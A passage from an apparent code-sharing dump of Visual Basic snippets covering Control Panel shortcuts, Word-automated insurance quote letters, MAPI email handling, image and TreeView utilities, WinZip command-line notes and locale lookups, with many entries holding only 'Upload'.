desk.cpl,,0\")\nEnd Sub\nPublic Sub Font()\nDim J As Long\nJ = Shell(\"rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder \")\nEnd Sub\nPublic Sub FormatFloppy()\nDim K As Long\nK = Shell(\"rundll32.exe shell32.dll,SHFormatDrive\")\nEnd Sub\nPublic Sub Modem()\nDim L As Long\nL = Shell(\"rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add\")\nEnd Sub\nPublic Sub Sound()\nDim M As Long\nM = Shell(\"rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0\")\nEnd Sub\nPublic Sub NetWork()\nDim N As Long\nN = Shell(\"rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl\")\nEnd Sub\nPublic Sub System()\nDim O As Long\nO = Shell(\"rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0\")\nEnd Sub\nPublic Sub Restart()\nDim P As Long\nP = Shell(\"rundll32.exe user.exe,restartwindows\")\nEnd Sub\nPublic Sub ShutDown()\nDim Q As Long\nQ = Shell(\"rundll32.exe user.exe,exitwindows\")\nEnd Sub\nPublic Sub Control()\nDim rc As Long\nrc = Shell(\"Control.exe\", vbNormalFocus)\nEnd Sub\n' End Module ---\n\nMake the same calls as above in the example\nCP.Access\n- or -\nCP.HardWare\n- or -\nCP.AddPrinter\n- or -\nEtc... Etc...\nMarc F.\n3dtech@thelakes.net"},{"WorldId":1,"id":4377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4382,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4390,"LineNumber":1,"line":"' this subroutine/method is used to print the Genstar Public Officals\n' quote letter. The method expects no values to be passed and the method has no\n' return values.\n' Created 08/27/1999 -- JCH\n' declare local variables here\n Dim objWord As Word.Application\n Dim strDocumentSave As String\n Dim strSearch(14) As String\n Dim strReplace(14) As String\n Dim strDocumentName As String\n Dim strInsertLine As String\n Dim intCounter As Integer\n Dim strContactName As String\n Dim strSelectedName As String\n Dim strFaxNumber As String\n Dim intContactNumber As Integer\n \n' instantate the objects\n Set objWord = New Word.Application\n \n strDocumentName = \"GenStarQuotePOMaster.doc\"\n \n' add values to the search array\n strSearch(0) = \"<<ProducerName>>\"\n strSearch(1) = \"<<ProducerFax>>\"\n strSearch(2) = \"<<InsuredName>>\"\n strSearch(3) = \"<<InsuredState>>\"\n strSearch(4) = \"<<LobDescription>>\"\n strSearch(5) = \"<<limit/occur>>\"\n strSearch(6) = \"<<anag>>\"\n strSearch(7) = \"<<Deductible>>\"\n strSearch(8) = \"<<ConditionalField1>>\"\n strSearch(9) = \"<<ConditionalField2>>\"\n strSearch(10) = \"<<ConditionalField3>>\"\n strSearch(11) = \"<<ConditionalField4>>\"\n strSearch(12) = \"<<CommRate>>\"\n strSearch(13) = \"<<Cname>>\"\n strSearch(14) = \"<<Uname>>\"\n \n' now determine the values for the conditional fields\n Select Case mvarProviderInfo.ProviderName\n \n Case \"General Star Indemnity\"\n \n strReplace(8) = \"*Annual Premium:\" & vbTab & vbTab & vbTab & CStr (Format(mvarPremium, \"currency\")) & _\n vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & \"$0\"\n \n strReplace(9) = \"*Loss Control Fee:\" & vbTab & vbTab & vbTab & \"$0.00\" & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & \"N/A\"\n \n strReplace(10) = \"*The above may be subject to state surplus lines taxes and/or fees. Your \" _\n & \"agency is responsible for calculating and remitting the taxes to the state.\"\n strReplace(11) = \"Public Officials coverages are being offered by \" & mvarProviderInfo.ProviderName\n \n If UCase(mvarTaxState) = \"CT\" Then\n \n strReplace(11) = \"Public Officials coverages are being offered by \" & mvarProviderInfo.ProviderName\n \n End If\n \n Case Else\n \n strReplace(8) = \"Annual Premium:\" & vbTab & vbTab & vbTab & CStr(Format(mvarPremium, \"currency\")) & _\n vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & \"$0\"\n \n strReplace(9) = \"Loss Control Fee:\" & vbTab & vbTab & vbTab & \"$0.00\" & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & vbTab & \"N/A\"\n \n strReplace(10) = \"The above may be subject to state surplus lines taxes and/or fees. Your \" _\n & \"agency is responsible for calculating and remitting the taxes to the state.\"\n strReplace(11) = \"Public Officials coverages are being offered by GENERAL STAR NATIONAL (AN A++ Admitted Carrier)\" & vbCr\n \n If UCase(mvarTaxState) = \"NY\" Then\n \n strReplace(11) = strReplace(11) & \"COVERAGE IS OFFERED THROUGH THE NY FEE TRADE ZONE\" & vbCr\n \n End If\n \n End Select\n \n' bring up the form to allow the user to select the producer contact info\n Load frmContactSelect\n frmContactSelect.Visible = False\n DoEvents\n \n' loop through the Producer contacts and add the names to the listbox on the form\n For intCounter = 1 To mvarProducerInfo.Contacts.Count\n \n With mvarProducerInfo.Contacts(intCounter)\n \n strContactName = .FirstName & Space$(1) & .LastName\n frmContactSelect.lstNames.AddItem strContactName\n strContactName = \"\"\n \n End With\n \n Next\n \n' show the form modally to allow the user to select the contact\n frmContactSelect.Show vbModal\n strSelectedName = frmContactSelect.lstNames.List(frmContactSelect.lstNames.ListIndex)\n intContactNumber = frmContactSelect.lstNames.ListIndex + 1\n Unload frmContactSelect\n Set frmContactSelect = Nothing\n' add values to the replace array\n strFaxNumber = mvarProducerInfo.Contacts(intContactNumber).FaxNumber\n \n strReplace(0) = mvarProducerInfo.ProducerName\n strReplace(1) = \"(\" & Left$(strFaxNumber, 3) & \")\" & Space$(1) & Mid$(strFaxNumber, 4, 3) & \"-\" & Mid$(strFaxNumber, 7)\n strReplace(2) = mvarInsuredName\n strReplace(3) = mvarInsuredState\n strReplace(4) = mvarSLOBDescription\n strReplace(5) = CStr(Format(mvarLimitPerOccurance, \"currency\")) & Space$(1)\n strReplace(6) = CStr(Format(mvarLimitAnnualAgg, \"currency\")) & Space$(1)\n strReplace(7) = CStr(Format(mvarDeductible, \"currency\")) & Space$(1)\n strReplace(12) = \"0\" ' for now\n strReplace(13) = strSelectedName\n strReplace(14) = mvarUnderwriterName\n' assign a value for the saved document name\n strDocumentSave = App.Path & \"\\letters\\pipssavedletters\\\" _\n & StrConv(mvarProducerInfo.ProducerName, vbProperCase) & \" GenStarPOQuote \" & _\n Format(Date, \"mddyy\") & \".doc\"\n' see if save name document exists, if so delete it\n If Dir(strDocumentSave) <> \"\" Then Kill strDocumentSave\n' check to see if the master document for this letter exists\n If Dir(App.Path & \"\\letters\\\" & strDocumentName) = \"\" Then\n \n RaiseEvent MasterDocumentNotFound(\"Unable to find \" & strDocumentName & \" file.\")\n objWord.Quit SaveChanges:=wdDoNotSaveChanges\n Set objWord = Nothing\n \n End If\n \n' add this information to the GenStarQuote master document\n objWord.Documents.Open App.Path & \"\\letters\\\" & strDocumentName\n objWord.ActiveWindow.WindowState = wdWindowStateNormal\n For intCounter = 0 To 12\n \n With objWord.ActiveDocument.Content.Find\n \n .Text = strSearch(intCounter)\n .Replacement.Text = strReplace(intCounter)\n .Forward = True\n .Execute Replace:=wdReplaceAll\n \n End With\n \n Next\n \n' insert the rest of the text needed if the provider it genstar indemnity\n If mvarProviderInfo.ProviderName = \"General Star Indemnity\" Then\n \n Select Case UCase(mvarTaxState)\n \n Case \"NY\"\n \n strInsertLine = \" (An A++ Rated Surplus Lines Carrier). YOUR \" & _\n \"AGENCY IS RESPONSIBLE FOR MAKING SURPLUS LINES FILINGS WITH THE STATE. PLEASE PROVIDE A COPY OF \" & _\n \" YOUR SURPLUS LINES LICENSE IF NOT PREVIOUSLY PROVIDED.\"\n \n Case \"CT\"\n \n strInsertLine = \"(An A++ Rated Admitted Carrier in Connecticut). YOUR AGENCY IS RESPONSIBLE FOR MAKEING SURPLUS LINES \" _\n & \" FILINGS WITH THE STATE. PLEASE PROVIDE A COPY OF YOUR SURPLUS LINES LICENSE IF NOT PREVIOUSLY PROVIDED.\"\n \n End Select\n \n objWord.Selection.Find.Text = mvarProviderInfo.ProviderName\n objWord.Selection.Find.Execute\n objWord.Selection.InsertAfter strInsertLine\n objWord.Selection.Font.Bold = False\n \n End If\n \n' bold the provider name in the document\n With objWord.ActiveDocument.Content.Find\n \n .Text = UCase(mvarProviderInfo.ProviderName)\n .Replacement.Text = mvarProviderInfo.ProviderName\n .Replacement.Font.Bold = True\n .Forward = True\n .Execute Replace:=wdReplaceAll\n \n End With\n \n' if the tax state equals new york, then we must remove part of one phrase\n If UCase(mvarTaxState) = \"NY\" Then\n \n With objWord.ActiveDocument.Content.Find\n \n .Text = \"non-monetary\"\n .Replacement.Text = Space$(1)\n .Replacement.Font.Bold = True\n .Forward = True\n .Execute Replace:=wdReplaceAll\n \n End With\n \n End If\n \n objWord.Selection.Collapse wdCollapseEnd\n \n' save the document with a new name\n objWord.Documents(strDocumentName).SaveAs strDocumentSave, , , , True\n \n' make the document visible\n \n objWord.Application.Visible = True\n"},{"WorldId":1,"id":4395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4405,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4416,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4421,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4423,"LineNumber":1,"line":"Private Type zRGB\nR As Long\nG As Long\nB As Long\nEnd Type\nPrivate Sub Form_Load()\n'this is just an example\n'if you don't tweak the code, you will have to\n'dim a variable as \"zRGB\" that stores the returns\nDim cRGB As zRGB\ncRGB = LongToRGB(RGB(255, 250, 255))\nMsgBox cRGB.R & \", \" & cRGB.G & \", \" & cRGB.B\nEnd\nEnd Sub\nPrivate Function LongToRGB(ColorValue As Long) As zRGB\nDim rCol As Long, gCol As Long, bCol As Long\nrCol = ColorValue And &H10000FF 'this uses binary comparason\ngCol = (ColorValue And &H100FF00) / (2 ^ 8)\nbCol = (ColorValue And &H1FF0000) / (2 ^ 16)\nLongToRGB.R = rCol\nLongToRGB.G = gCol\nLongToRGB.B = bCol\nEnd Function"},{"WorldId":1,"id":4427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4453,"LineNumber":1,"line":"Option Explicit\nPublic Function LoadImage(FilePath$, picTemp As PictureBox, picMain As PictureBox, imgMain As Image) As Integer\n Dim X As Long\n Dim xo As Long\n Dim Y As Long\n Dim yo As Long\n \n'vars to save the user initial picture boxes and images settings\n Dim pMainSM As Integer\n Dim pTempSM As Integer\n Dim pMainAS As Boolean\n Dim pTempAS As Boolean\n Dim iMainST As Boolean\n \n'saves the initial conditions of picture boxes and images, for future reposition\n pMainSM = picMain.ScaleMode\n pMainAS = picMain.AutoSize\n pTempSM = picTemp.ScaleMode\n pTempAS = picTemp.AutoSize\n iMainST = imgMain.Stretch\n'set the necessary conditions to picture boxes and image\n picMain.ScaleMode = vbTwips\n picMain.AutoSize = False\n \n picTemp.ScaleMode = vbTwips\n picTemp.AutoSize = True\n \n imgMain.Stretch = True\n \n 'while sizing, make destination image invisible\n imgMain.Visible = False\n \n On Error Resume Next\n picTemp.Picture = LoadPicture(FilePath)\n If Err Then 'the image was not loaded, so set the image to blank and exit sub\n imgMain.Picture = LoadPicture()\n LoadImage = Err 'return the error code\n Exit Function\n End If\n \n 'obtain the loaded image size\n xo = picTemp.Width\n yo = picTemp.Height\n \n ' First shrink the image so the sides fit\n If xo > picMain.Width Then\n X = picMain.Width\n Y = yo - (xo - X)\n End If\n ' if the image is still too tall, shrink it some more\n yo = Y\n If Y > picMain.Height Then\n Y = picMain.Height\n X = X - (yo - Y)\n End If\n \n 'Now we have the X and Y that have the best fit, so set the destination to that size\n imgMain.Width = X\n imgMain.Height = Y\n ' Center the image(imgmain) in the main picture box(picmain)\n imgMain.Top = (picMain.Height \\ 2) - (imgMain.Height \\ 2)\n imgMain.Left = (picMain.Width \\ 2) - (imgMain.Width \\ 2)\n ' Now copy the image from the start picbox(picstart) into the\n ' display image field (imgmain)\n imgMain.Picture = picTemp.Picture\n \n picTemp.Picture = LoadPicture() 'clar the temp picture, because it's not necessary\n \n imgMain.Visible = True 'make the destination visible\n'restore the initial user settings\n picMain.ScaleMode = pMainSM\n picMain.AutoSize = pMainAS\n picTemp.ScaleMode = pTempSM\n picTemp.AutoSize = pTempAS\n imgMain.Stretch = iMainST\n \n LoadImage = 0 'and returns 0, the image was sucessfuly loaded\nEnd Function\n"},{"WorldId":1,"id":4455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4466,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4481,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4501,"LineNumber":1,"line":"#"},{"WorldId":1,"id":4503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4504,"LineNumber":1,"line":"Private Sub Command1_Click()\n MAPISession1.DownLoadMail = False\n MAPISession1.SignOn\n MAPIMessages1.SessionID = MAPISession1.SessionID\n MAPIMessages1.MsgIndex = -1\n \n MAPIMessages1.Compose\n MAPIMessages1.Send True\n \n MAPISession1.SignOff\nEnd Sub\nPrivate Sub Command2_Click()\n MAPISession1.DownLoadMail = True\n MAPISession1.SignOn\n MAPIMessages1.FetchUnreadOnly = True\n MAPIMessages1.SessionID = MAPISession1.SessionID\n MAPIMessages1.Fetch\n On Error Resume Next\n MAPIMessages1.AttachmentPathName = MAPIMessages1.AttachmentPathName '\"c:\\2000\\\" & MAPIMessages1.AttachmentName & \"\" 'vartype8 '& MAPIMessages1.AttachmentName & \" '\"\n Text1.Text = MAPIMessages1.MsgNoteText\n FileCopy MAPIMessages1.AttachmentPathName, (\"c:\\2000\\\" & MAPIMessages1.AttachmentName & \"\")\n MsgBox \"File \" & MAPIMessages1.AttachmentName & \" sucessfully downloaded to C:\\2000\"\n \n MAPISession1.SignOff\nEnd Sub\n"},{"WorldId":1,"id":4505,"LineNumber":1,"line":"\nPublic Function CloseApplication(byVal sAppCaption As String) As Boolean\n Dim lHwnd As Long\n Dim lRetVal As Long\n \n lHwnd = FindWindow(vbNullString, sAppCaption)\n If lHwnd <> 0 Then\n lRetVal = PostMessage(lHwnd, WM_CLOSE, 0&, 0&)\n End If\nEnd Function"},{"WorldId":1,"id":4510,"LineNumber":1,"line":"Public Sub LoadTree(ByVal tvTree As TreeView, ByVal sFileName As String)\n \n' Function by Chetan Sarva (November 17, 1999)\n' Please include this comment if you use this code.\nDim curNode As Node\nDim sDelimiter As String\nDim freef As Integer\nDim buf As String\nDim nodeparts As Variant\nsDelimiter = \"\u001e\" ' We want something extremely unique to delimit\n ' each of the pices of our treeview\n \n On Error Resume Next\n \n ' Get a free file and open our file for output\n freef = FreeFile()\n Open sFileName For Input As #freef\n \n Do\n DoEvents\n \n ' Read in the current line\n Line Input #freef, buf\n ' Split the line into pieces on our delimiter\n nodeparts = Split(buf, sDelimiter)\n \n ' See if it's a root or child node and add accordingly\n If nodeparts(3) = \"parent\" Then\n curNode = tvTree.Nodes.Add(, , nodeparts(1), nodeparts(0))\n curNode.Tag = nodeparts(2)\n Else\n curNode = tvTree.Nodes.Add(nodeparts(3), tvwChild, nodeparts(1), nodeparts(0))\n curNode.Tag = nodeparts(2)\n End If\n \n Loop Until EOF(freef)\n \n Close #freef\n \nEnd Sub\nPublic Sub SaveTree(ByVal tvTree As TreeView, ByVal sFileName As String)\n \n' Function by Chetan Sarva (November 17, 1999)\n' Please include this comment if you use this code.\nDim curNode As Node\nDim sDelimiter As String\nDim freef As Integer\nsDelimiter = \"\u001e\" ' We want something extremely unique to delimit\n ' each of the pices of our treeview\n On Error Resume Next\n \n ' Get a free file and open our file for output\n freef = FreeFile()\n Open sFileName For Output As #freef\n \n ' Loop through all the nodes and save all the\n ' important information\n For Each curNode In tvTree.Nodes\n \n If curNode.FullPath = curNode.Text Then\n Print #freef, curNode.Text; sDelimiter; curNode.Key; sDelimiter; curNode.Tag; sDelimiter; \"parent\"\n Else\n Print #freef, curNode.Text; sDelimiter; curNode.Key; sDelimiter; curNode.Tag; sDelimiter; curNode.Parent.Key\n End If\n \n Next curNode\n \n Close #freef\n \nEnd Sub\n"},{"WorldId":1,"id":4512,"LineNumber":1,"line":"'\n'\n'\n' mapSess = MAPISession Control\n' mapMess = MAPIMessages Control\n'\n'\nprivate sub TestEmailWithManyManyAttachments()\ndim Attachments() as string\ndim TotAttachments as long\ndim i as long\ndim attPos as integer\n TotAttachments=2 ' or more\n Redim Attachments(TotAttachments)\n Attachments(1)=\"c:\\config.sys\"\n Attachments(2)=\"c:\\autoexec.bat\"\n mapSess.LogonUI = True\n mapSess.SignOn\n mapMess.SessionID = mapSess.SessionID\n mapMess.Compose\n mapMess.MsgSubject = \"Some Subject\"\n mapMess.MsgNoteText = \" bla bla bla bla bla\"\n\n attPos = 1 \n \n For i = 1 To TotAttachments\n\t\n If Dir( Attachments(i) ) <> \"\" Then ' Chek that file exists\n \n mapMess.AttachmentIndex = i - 1\n mapMess.AttachmentPosition = attPos\n mapMess.AttachmentPathName = Attachments(i) \n \n attPos = attPos + 1\n End If\n Next i\n DoEvents\n \n mapMess.Send True\n\n DoEvents\n mapSess.SignOff\nend sub\n"},{"WorldId":1,"id":4541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4545,"LineNumber":1,"line":"Private Sub Command1_Click()\n MAPISession1.DownLoadMail = False\n MAPISession1.SignOn\n MAPIMessages1.SessionID = MAPISession1.SessionID\n MAPIMessages1.MsgIndex = -1\n \n MAPIMessages1.Compose\n MAPIMessages1.Send True\n \n MAPISession1.SignOff\nEnd Sub\nPrivate Sub Command2_Click()\n MAPISession1.NewSession = True\n MAPISession1.Action = 1 'session_signon\n MAPIMessages1.SessionID = MAPISession1.SessionID\n MAPIMessages1.FetchUnreadOnly = True\n MAPIMessages1.Action = 1 'message_fetch\n Dim i As Integer\n Text1.Text = MAPIMessages1.MsgNoteText\n For i = 0 To MAPIMessages1.AttachmentCount - 1\n MAPIMessages1.AttachmentIndex = i\n Dim intLenFileName As Integer\n Dim intStrPos As Integer\n intLenFileName = Len(MAPIMessages1.AttachmentPathName)\n For intStrPos = intLenFileName To 1 Step -1\n If InStr(1, _\n Right$(MAPIMessages1.AttachmentPathName, _\n intLenFileName - (intStrPos - 1)), _\n \"\\\", 1) Then\n strNewFileName = _\n Right$(MAPIMessages1.AttachmentPathName, _\n intLenFileName - intStrPos)\n Exit For\n End If\n Next\n FileCopy MAPIMessages1.AttachmentPathName, _\n \"c:\\\" & strNewFileName\n Next\n \n Mail\n MAPIMessages1.Delete\n MAPISession1.SignOff\nEnd Sub\nPrivate Function Mail()\n Dim o As New Outlook.Application\n Dim m As Object\n Set m = o.CreateItem(olMailItem)\n m.To = MAPIMessages1.MsgOrigAddress\n m.Subject = \"Fantastic!!!\"\n m.Attachments.Add \"C:\\Fantastic.txt\"\n m.Show ' this can be taken out if you want an automated program\n m.Send\nEnd Function"},{"WorldId":1,"id":4556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4567,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4586,"LineNumber":1,"line":"Option Explicit\nPrivate TheX as Long\nPrivate TheY as Long\n\n' I have included commented lines to scroll in any of the four main directions.\n' You can uncomment the appropriate lines for your needs.\n' If you uncomment both the left to right and bottom to top, for example,\n' you get diagonal scrolling.\n' I found that a timer interval of 50 milliseconds works well in most cases.\n' Windows 95/98 machines don't get any faster from that point but NT machines do.\n' Playing with the Timer's interval property as well as adjusting the number of\n' pixels to step by will eventually satisfy your needs.\n\nPrivate Sub Form_Load()\n lblText.Caption = \"Insert your credits here...\" ' Set the text to be shown\n \n ' Use this line of code if you want to scroll right to left\n TheX = pbScrollBox.ScaleWidth ' Set the starting point (off the right edge)\n ' Use this line of code if you want to scroll left to right\n' TheX = 0 - lblText.Width ' Set the starting point (off the left edge)\n ' Use this line of code if you want to scroll bottom to top\n' TheY = pbScrollBox.ScaleHeight ' Set the starting point (off the bottom edge)\n ' Use this line of code if you want to scroll top to bottom\n' TheY = 0 - lblText.Height ' Set the starting point (off the top edge)\nEnd Sub\n\nPrivate Sub tmrScroll_Timer()\n \n pbScrollBox.Cls ' so we don't get text trails\n \n ' Scroll from right to left\n If TheX <= 0 - lblText.Width Then\n TheX = pbScrollBox.ScaleWidth\n Else\n TheX = TheX - 1 ' larger number means faster scrolling\n End If\n ' uncomment the following lines to scroll from left to right\n' If TheX >= pbScrollBox.ScaleWidth Then\n' TheX = 0 - lblText.Width\n' Else\n' TheX = TheX + 1\n' End If\n ' uncomment the following lines to scroll from bottom to top\n' If TheY <= 0 - lblText.Height Then\n' TheY = pbScrollBox.ScaleHeight\n' Else\n' TheY = TheY - 1\n' End If\n ' uncomment the following lines to scroll from top to bottom\n' If TheY >= pbScrollBox.ScaleHeight Then\n' TheY = 0 - lblText.Height\n' Else\n' TheY = TheY + 1\n' End If\n ' set the text position and print the text\n pbScrollBox.CurrentX = TheX\n pbScrollBox.CurrentY = TheY\n pbScrollBox.Print lblText.Caption\n \nEnd Sub"},{"WorldId":1,"id":4594,"LineNumber":1,"line":"app.TaskVisible = false\n// that all for now\n// bye\n"},{"WorldId":1,"id":4605,"LineNumber":1,"line":"Option Explicit\n \nPrivate Sub Form_Paint()\n Dim lngY As Long\n Dim lngScaleHeight As Long\n Dim lngScaleWidth As Long\n Dim WhatColor As String\n \n ScaleMode = vbPixels\n lngScaleHeight = ScaleHeight\n lngScaleWidth = ScaleWidth\n DrawStyle = vbInvisible\n FillStyle = vbFSSolid\n For lngY = 0 To lngScaleHeight\n FillColor = RGB(0, 0, 255 - (lngY * 255) \\ lngScaleHeight)\n Line (-1, lngY - 1)-(lngScaleWidth, lngY + 1), , B\n Next lngY\nEnd Sub"},{"WorldId":1,"id":4606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4634,"LineNumber":1,"line":"'' if using record selection for report on siingle record\n' set v_choice as public string\n' store your record selction field choice to v_choice\n'*******************************************\n'Add the crystal ocx object to form (will be named CrystalReport1)\n' you can pass record selection\n''NOTE\n''Create the report in Crystal first and place the report in the same directory as your database.\n'' Set the report location to same as database in Crystal\n''This part is run from menu or command button\nCrystalReport1.ReportSource = crptReport\nCrystalReport1.ReportFileName = reportpath & \"\\YOUR_REPORT_NAME.rpt\"\n'***This line only is using single record selection\nCrystalReport1.ReplaceSelectionFormula (\"{TABLENAME.FIELDNAME} =\" & \"'\" & v_choice & \"'\")\n'*********\nCrystalReport1.WindowState = crptMaximized\nCrystalReport1.PrintReport\nCrystalReport1.PageZoom (50)\n"},{"WorldId":1,"id":4644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4678,"LineNumber":1,"line":"Dim retval As Double\nretval = Shell(\"C:\\program files\\winzip\\WINzip32 -a c:\\TargetFolder\\AssignedNameFile.zip c:\\SourceFolder\\SourceFile(s)\", 6)\nnote: i used shell function here.. if anyone has a better idea than of this, pls tell me.."},{"WorldId":1,"id":4681,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4696,"LineNumber":1,"line":"Adding files:\nThe command format is:\nwinzip[32].exe [-min] action [options] filename[.zip] files\nwhere:\n-min specifies that WinZip should run minimized. If -min is specified,\nit must be the first command line parameter.\n\naction\n-a for add, -f for freshen, -u for update, and -m for move. These\nactions correspond to the actions described in the section titled\n\"Adding files to an Archive\" in the online manual.\n\noptions\n-r and -p correspond to the \"Recurse Directories\" and \"Save Extra\nDirectory Info\" checkboxes in the Add and Drop dialog boxes. -ex, -en,\n-ef, -es, and -e0 options determine the compression method: eXtra,\nNormal, Fast, Super fast, and no compression. The default is \"Normal\".\n-s allows specification of a password. The password can be enclosed\nin quotes, for example, -s\"Secret Password\". Note that passwords are\ncase-sensitive.\n-hs option allows hidden and system files to be included.\nfilename.zip\nSpecifies the name of the ZIP involved. Be sure to use the full\nfilename (including the directory).\nfiles\nIs a list of one or more files, or the @ character followed by the\nfilename containing a list of files to add, one filename per line.\nWildcards (e.g. *.bak) are allowed.\nExtracting Files:\nThe command format is:\nwinzip[32].exe -e [options] filename[.zip] directory\nwhere:\n-e Is required.\n\noptions\n-o and -j stand for \"Overwrite existing files without prompting\" and\n\"Junk pathnames\", respectively. Unless -j is specified, directory\ninformation is used.\n-s allows specification of a password. The password can be enclosed\nin quotes, for example, -s\"Secret Password\". Note that passwords are\ncase-sensitive.\nfilename.zip\nSpecifies the name of the ZIP involved. Be sure to specify the full\nfilename (including the directory).\ndirectory\nIs the name of the directory to which the files are extracted. If the\ndirectory does not exist it is created.\nNotes:\n* VERY IMPORTANT: Always specify complete filenames, including the full\npath name and drive letter, for all file IDs.\n* To run WinZip in a minimized inactive icon use the \"-min\" option.\nWhen specified this option must be the first option.\n* Only operations involving the built-in zip and unzip are supported.\n* Enclose long filenames on the command line in quotes.\n* NO leading or trailing blanks, or blank lines for readability, are\nallowed in list (\"@\") files.\n* The action and each option on the command line must be separated\nfrom the others by at least one space.\n* WinZip can be used to compress files with cc:Mail . Change the\ncompress= line in the [cc:Mail] section of the appropriate WMAIL.INI\nfiles to specify the full path for WinZip followed by \"-a %1 @%2\".\nFor example, if WinZip is installed in your c:\\winzip directory,\nspecify\ncompress=c:\\winzip\\winzip.exe -a %1 @%2\n"},{"WorldId":1,"id":4697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4703,"LineNumber":1,"line":"Public Const LOCALE_USER_DEFAULT = &H400\nPublic Const LOCALE_IDATE = &H21 ' short date format ordering\nPublic Const LOCALE_SLANGUAGE = &H2 ' localized name of language\nPublic Const LOCALE_SCOUNTRY = &H6 ' localized name of country\nPublic Const LOCALE_SCURRENCY = &H14 ' local monetary symbol\nPublic Const LOCALE_ILDATE = &H22 ' long date format ordering\n\nSub GetTheLocaleInfo()\n \n Dim strBuffer As String * 100\n Dim lngReturn As Long\n Dim strResult As String\n Dim msg As String\n \n lngReturn = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_IDATE, strBuffer, 99)\n strResult = LPSTRToVBString(strBuffer)\n \n Select Case strResult\n Case \"0\":\n msg = \"mm/dd/yy\"\n Case \"1\":\n msg = \"dd/mm/yy\"\n Case \"2\":\n msg = \"yy/mm/dd\"\n Case Else:\n msg = \"#Error#\"\n End Select\n Debug.Print \"You are using the \" & msg & \" short date format\"\n \n lngReturn = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_ILDATE, strBuffer, 99)\n strResult = LPSTRToVBString(strBuffer)\n \n Select Case strResult\n Case \"0\":\n msg = \"mm/dd/yyyy\"\n Case \"1\":\n msg = \"dd/mm/yyyy\"\n Case \"2\":\n msg = \"yyyy/mm/dd\"\n Case Else:\n msg = \"#Error#\"\n End Select\n \n Debug.Print \"You are using the \" & msg & \" Long date format\"\n \n \n lngReturn = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SLANGUAGE, strBuffer, 99)\n strResult = LPSTRToVBString(strBuffer)\n Debug.Print \"You are using \" & strResult & \" language\"\n \n lngReturn = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SCOUNTRY, strBuffer, 99)\n strResult = LPSTRToVBString(strBuffer)\n Debug.Print \"You live in \" & strResult & \"!\"\n \n \n lngReturn = GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SCURRENCY, strBuffer, 99)\n strResult = LPSTRToVBString(strBuffer)\n Debug.Print \"You use \" & strResult & \" as your currency!\"\n \nEnd Sub\n\nPublic Function LPSTRToVBString(ByVal s As String) As String\n Dim nullpos As Integer\n nullpos = InStr(s, Chr(0))\n If nullpos > 0 Then\n LPSTRToVBString = Left(s, nullpos - 1)\n Else\n LPSTRToVBString = \"\"\n End If\nEnd Function\n"},{"WorldId":1,"id":4705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4723,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4740,"LineNumber":1,"line":"'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'Note: This is a custom control for your applications. This will not properly\n'Get files from the internet or from an ftp. Although 